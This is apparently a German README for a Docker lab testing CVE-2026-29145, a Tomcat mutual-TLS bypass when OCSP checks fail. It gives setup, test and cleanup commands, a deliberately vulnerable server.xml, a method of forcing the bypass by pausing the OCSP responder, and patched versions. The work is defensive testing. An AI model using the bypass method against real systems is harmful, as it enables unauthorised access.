
Dieses Repository enthält eine Proof-of-Concept-Umgebung (PoC), die zum Testen von CVE-2026-29145 entwickelt wurde.
Dieses Repository enthält eine Proof-of-Concept-Umgebung (PoC), die zum Testen von CVE-2026-29145 entwickelt wurde.
Die Schwachstelle ist eine Authentifizierungsumgehung in Apache Tomcats Mutual-TLS-Implementierung (CLIENT_CERT). Wenn OCSP (Online Certificate Status Protocol) mit deaktiviertem Soft-Fail konfiguriert ist, kann Tomcat einen OCSP-Prüfungsfehler möglicherweise nicht als harte Ablehnung behandeln. Dies ermöglicht es einem Client mit einem potenziell widerrufenen oder nicht verifizierten Zertifikat, die Authentifizierung zu umgehen, wenn der OCSP-Responder nicht erreichbar ist oder einen Fehler zurückgibt.
| Eigenschaft | Wert |
|---|
| CVE-ID | CVE-2026-29145 |
| CVSS-Score | 9.1 (Kritisch) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Angriffsvektor | Netzwerk |
| Erforderliche Berechtigungen | Keine |
| Auswirkung | Authentifizierungsumgehung |
.ps1-SkripteDas Skript run_test.sh automatisiert den gesamten Prozess: Bereinigung, Zertifikatsgenerierung und Ausführung aller Testszenarien (verwundbar, erfolgreich und gepatcht).
# Zum Projektverzeichnis navigieren
cd CVE-2026-29145-Tester
# Skripte ausführbar machen
chmod +x cleanup.sh setup_certs.sh run_test.sh
# Python-Abhängigkeiten installieren (falls poc_exploit.py sie benötigt)
pip install -r requirements.txt
# Die vollständige Testsuite ausführen
./run_test.sh
Auf Linux/macOS:
./setup_certs.sh
Auf Windows (PowerShell):
.\setup_certs.ps1
Was dies bewirkt:
http://localhost:8888 verweistErwartete Ausgabe:
[INFO] Starting certificate generation for CVE-2026-29145 testing environment
[INFO] OpenSSL found: OpenSSL 3.0.x (...)
[INFO] Created certs directory
[INFO] Generating Root CA...
[INFO] Generating Server Certificate...
[INFO] Generating Client Certificate with OCSP Extension...
[INFO] Certificate setup completed successfully!
docker-compose up -d
Was dies bewirkt:
Überprüfen, ob die Container laufen:
docker-compose ps
python poc_exploit.py
Erwartete Ausgaben:
Verwundbares System:
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[WARNING] VULNERABLE: Access granted despite OCSP check failure.
[WARNING] Response preview: <html>...
Gepatchtes System:
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[INFO] NOT VULNERABLE: Access denied (Authentication working).
| Szenario | OCSP-Status | Erwartet (gepatcht) | Ergebnis (verwundbar) | Hinweise |
|---|---|---|---|---|
| Normaler Betrieb | Online & gültig | 200 OK ✓ | 200 OK ✓ | OCSP-Prüfung erfolgreich, Zugriff gewährt |
| Soft-Fehler | Offline/Timeout | 403 Forbidden ✓ | 200 OK ✗ | UMGEHUNG - OCSP-Responder nicht erreichbar |
| Harte Widerrufung | Online & widerrufen | 403 Forbidden ✓ | 403 Forbidden ✓ | Zertifikat explizit widerrufen |
| Ungültiges Zertifikat | Ungültige Kette | 403 Forbidden ✓ | 403 Forbidden ✓ | Kettenvalidierung schlägt fehl |
Test 1: Standard (OCSP-Responder schlägt fehl)
# Container laufen lassen
python poc_exploit.py
Test 2: OCSP-Responder stoppen (Timeout simulieren)
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder
Test 3: Manuelles Testen mit curl
curl -v \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://localhost:8443/protected-resource
CVE-2026-29145-Tester/
├── README.md # Diese Datei
├── setup_certs.sh # Skript zur Zertifikatsgenerierung - Bash (Linux/macOS)
├── setup_certs.ps1 # Skript zur Zertifikatsgenerierung - PowerShell (Windows)
├── cleanup.sh # Bereinigungs- und Rücksetzskript - Bash (Linux/macOS)
├── cleanup.ps1 # Bereinigungs- und Rücksetzskript - PowerShell (Windows)
├── run_test.sh # Skript für den automatisierten vollständigen Testzyklus
├── docker-compose.yml # Docker-Dienstorchestrierung
├── requirements.txt # Python-Abhängigkeiten
├── poc_exploit.py # Haupttestskript (mit Protokollierung und Fehlerbehandlung)
├── simple_proxy_fail.py # Mock-OCSP-Responder (mit detaillierter Protokollierung)
├── .gitignore # Git-Ignore-Regeln für Zertifikate und Protokolle
├── certs/ # Generierte Zertifikate (von setup_certs-Skripten erstellt)
│ ├── ca-chain.pem # Root-CA-Zertifikat
│ ├── ca-key.pem # Privater Root-CA-Schlüssel
│ ├── server-cert.pem # Tomcat-Serverzertifikat
│ ├── server-key.pem # Privater Tomcat-Serverschlüssel
│ ├── client-cert.pem # Test-Clientzertifikat
│ └── client-key.pem # Privater Test-Client-Schlüssel
├── tomcat/
│ └── server.xml # Verwundbare Tomcat-Konfiguration
└── logs/ # Tomcat-Protokolle (zur Laufzeit erstellt)
Die Datei tomcat/server.xml konfiguriert:
<SSLHostConfig
hostName="localhost"
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem">
<OpenSSLConf>
<ConfCommand name="OCSP" value="on"/>
</OpenSSLConf>
</SSLHostConfig>
Wichtige Einstellungen:
certificateVerification="required" - Erzwingt CLIENT_CERT-AuthentifizierungOCSP on - Aktiviert die OCSP-WiderrufsprüfungDer Mock-OCSP-Responder (simple_proxy_fail.py):
localhost:8888# macOS
brew install openssl
# Ubuntu/Debian
sudo apt-get install openssl
# CentOS/RHEL
sudo yum install openssl
Ursache: Die Zertifikatsgenerierung ist fehlgeschlagen oder wurde nicht ausgeführt.
# Bereinigen und neu generieren
rm -rf certs
./setup_certs.sh
Ursache: Der Tomcat-Container läuft nicht oder ist nicht bereit.
# Containerstatus prüfen
docker-compose ps
# Protokolle prüfen
docker-compose logs vulnerable-tomcat
# Sicherstellen, dass beide Dienste laufen und gesund sind
docker-compose up -d
sleep 10 # Auf den Start der Dienste warten
Ursache: Tomcat benötigt zu lange zum Starten oder Netzwerkprobleme.
# Tomcat-Startprotokolle prüfen
docker-compose logs vulnerable-tomcat
# Timeout erhöhen und erneut versuchen
timeout 30 docker-compose logs -f vulnerable-tomcat # Start überwachen
Ursache: Docker Compose ist nicht installiert oder nicht im PATH.
# Docker Compose installieren (falls eigenständig)
sudo curl -L "https://github.com/docker/compose/releases/download/v2.x.x/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
# Oder docker compose verwenden (V2 in Docker Desktop integriert)
docker compose up -d
Ursache: Die Zertifikatsvalidierung schlägt fehl.
# Prüfen, ob Zertifikatsdateien vorhanden sind
ls -la certs/
# Zertifikatsgültigkeit prüfen
openssl x509 -in certs/client-cert.pem -noout -text
Ursache: SSL-Handshake-Fehler - kann darauf hindeuten, dass der Hard-Fail korrekt funktioniert.
Lösung: Dies ist tatsächlich ein positives Zeichen! Der Hard-Fail verhindert den Zugriff, wenn OCSP fehlschlägt.
# Prüfen, ob der OCSP-Responder läuft
docker-compose ps ocsp-responder
# Detaillierten Fehler anzeigen
python poc_exploit.py # Bietet bereits eine detaillierte Protokollierung
Ursache: Port 8443 oder 8888 wird bereits verwendet.
# Prozess finden, der den Port verwendet
lsof -i :8443
lsof -i :8888
# Prozess beenden oder andere Ports in docker-compose.yml verwenden
# Tomcat-Protokolle
docker-compose logs -f vulnerable-tomcat
# OCSP-Responder-Protokolle
docker-compose logs -f ocsp-responder
# Python-Skript-Debugging
python poc_exploit.py # Enthält bereits eine detaillierte Protokollierung
# Terminal öffnen und ausführen
docker-compose logs -f
# In einem anderen Terminal den Test ausführen
python poc_exploit.py
# Konnektivität zum OCSP-Responder testen
curl http://localhost:8888/
# OCSP-Responder von innerhalb des Tomcat-Containers testen
docker exec vulnerable-tomcat curl http://ocsp-responder:8888/
# SSL-Handshake testen
openssl s_client -connect localhost:8443 \
-cert certs/client-cert.pem \
-key certs/client-key.pem \
-CAfile certs/ca-chain.pem
Um alle Container, Volumes, Zertifikate und Protokolle zu entfernen:
Auf Linux/macOS:
./cleanup.sh
Auf Windows (PowerShell):
.\cleanup.ps1
Was dies bewirkt:
certs/-Verzeichnislogs/-VerzeichnisBereinigung überprüfen:
docker-compose ps # Sollte nichts anzeigen
ls -la certs/ # Sollte nicht existieren
Dieses Projekt dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken.
Um diese Schwachstelle zu entschärfen, aktualisieren Sie Apache Tomcat auf die folgenden Versionen:
| Versionsreihe | Mindestversion mit Fix |
|---|---|
| 11.0.x | 11.0.20 oder später |
| 10.1.x | 10.1.53 oder später |
| 9.0.x | 9.0.116 oder später |
Aktualisierungsschritte:
# Beispiel: docker-compose.yml auf die gepatchte Version aktualisieren
# Ändern: image: tomcat:10.1.52-jdk17
# Zu: image: tomcat:10.1.53-jdk17
docker-compose down
docker-compose up -d
Bei Problemen, Fragen oder Beiträgen öffnen Sie bitte ein Issue oder reichen Sie einen Pull Request ein.
Zuletzt aktualisiert: April 2026
Status: Tests & Dokumentation abgeschlossen